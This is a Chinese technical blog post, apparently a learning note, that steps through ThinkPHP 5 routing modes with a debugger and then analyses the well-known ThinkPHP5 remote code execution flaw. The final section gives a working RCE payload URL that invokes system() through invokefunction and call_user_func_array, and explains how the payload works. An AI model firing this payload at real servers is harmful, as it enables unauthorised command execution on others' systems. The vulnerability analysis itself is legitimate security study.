搭建调试环境可以参考这篇博客,不过博客里没写在验证的时候,phpstorm会提醒你在php.ini里加上一行xdebug.mode=debug,不用phpstudy也可以,我是用apache起的web环境

普通模式(PATH_INFO 模式)

我们先访问/index路由看看
2024-07-12T14:16:43.png
接下来开始调试
2024-07-12T14:09:32.png
根据堆栈信息,我们从thinkphp框架的app.php开始调试。一般的cms项目,控制器是自己写的,但路由规则是由框架给出的,也就是我们访问怎样的路由可以触发这个控制器是框架决定的。
2024-07-12T12:41:32.png
这里就根据config来处理我们的dispatch(调度)了。
2024-07-12T12:42:33.png
注释中写了这里是根据模块/控制器/操作来分割的
2024-07-12T12:46:43.png
而我们的三个值,只有第一个也就是模块的值为index,后面两个为空
2024-07-12T12:47:41.png
先获取模块,配置的默认模块为index,如果没有模块就用默认模块,这里我们有,虽然也是index
2024-07-12T12:57:31.png
如果不在拒绝访问的模块里(common)就可以访问
2024-07-12T12:59:41.png
模块结束,为D:\Download\AppGallery\httpd-2.4.61-240703-win64-VS17\Apache24\htdocs\public/../application/index\
2024-07-12T13:03:23.png
因为我们的控制器为空,所以用默认的index控制器,操作名同理,为index
2024-07-12T13:05:37.png
得到类名为app\index\controller\Index
2024-07-12T13:17:33.png
实例化这个类
2024-07-12T13:18:49.png
最后invoke调用这个类的实例的这个方法
2024-07-12T13:21:47.png
最后调用的时候还要加入参数
2024-07-12T13:24:14.png
2024-07-12T13:25:17.png
这里我自己写了一个控制器
2024-07-12T13:28:16.png
但是其实我写的有问题,类的第一个字母要为大写才行
2024-07-12T13:30:15.png
所以它找不到我们的类
2024-07-12T13:30:42.png
我们改成Test就可以成功调用了
2024-07-12T13:34:31.png
总结一下,第一个为模块名,也就是application下文件夹的名字,第二个为类名,第三个为方法名
2024-07-12T13:38:07.png
不过这些都是无参方法的调用,现在我们来学有有参方法的调用
可以先看这篇文章
通过提示可以看到获取参数的方法有两种,一种是根据路由来,一种是根据请求给的参数来
2024-07-12T13:52:56.png
/index/test/test/name/chhhchhoh/age/20
2024-07-12T13:56:15.png

驼峰命名法

thinkphp默认会把控制器全转为小写,不过为了支持各种风格的命名,会把Xin_Xinhui这种带有_的再做一次转化。把_后面的字母转为大写,再删除_,最后把首字母转为大写,得到的控制器名就是XinXinhui。方法名好像没有转化为小写,直接访问就可以了。
2024-07-20T01:33:32.png

兼容模式(s参数模式)

/index/test/test?name=chhhchhoh&age=20
2024-07-12T13:56:50.png
?s=/index/test/test/name/chhhchhoh/age/20
路由也可以放入s参数,也可以解析
2024-07-13T01:34:34.png
2024-07-13T01:36:01.png
可以看到,如果有兼容模式的参数即s(可以自己配置),则路由信息为s的值。
2024-07-13T01:52:58.png
2024-07-13T01:43:59.png
得到路由信息后面就跟默认模式一样了。

混合模式(自定义路由+PATH_IFNO)

如果有自己定义的路由就优先根据这个规则,不然就采用默认模式。
下面是官方给的自定义路由的例子,详细的可以看这篇文章
2024-07-13T02:02:41.png
这里设置了id要get传参且为数字,name要post传参且为字符
在Route.php#checkRule检测到我们自己定义的路由规则然后调用parseRule进行解析
2024-07-13T03:18:51.png
最后解析为路由信息,后面又是默认模式了。
2024-07-15T05:06:59.png
/public/hello/123
2024-07-15T05:08:00.png

强制模式

相当于只允许自定义路由,不允许用默认模式。

thinkphp5 rce分析

直接给payload
/public/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
这里用的是兼容模式,模块为index,类为think\app,方法为invokefunction
2024-07-15T05:21:21.png
模块还是老样子,application那个文件夹
2024-07-15T05:23:27.png
这里实例化的是think\app这个类
2024-07-15T05:24:58.png
也就是这个
2024-07-15T05:35:17.png
最后相当于调用了call_user_function_array('system',arrary('whoami'));
2024-07-15T05:39:01.png
2024-07-15T05:40:47.png

很容易想到/public/?s=index/think\app/invokefunction&function=system&vars=whoami可不可以呢,但这里的$vars一定要是数组,字符串会报错,但system又是接收一个字符串,所以没办法用
2024-07-15T05:57:54.png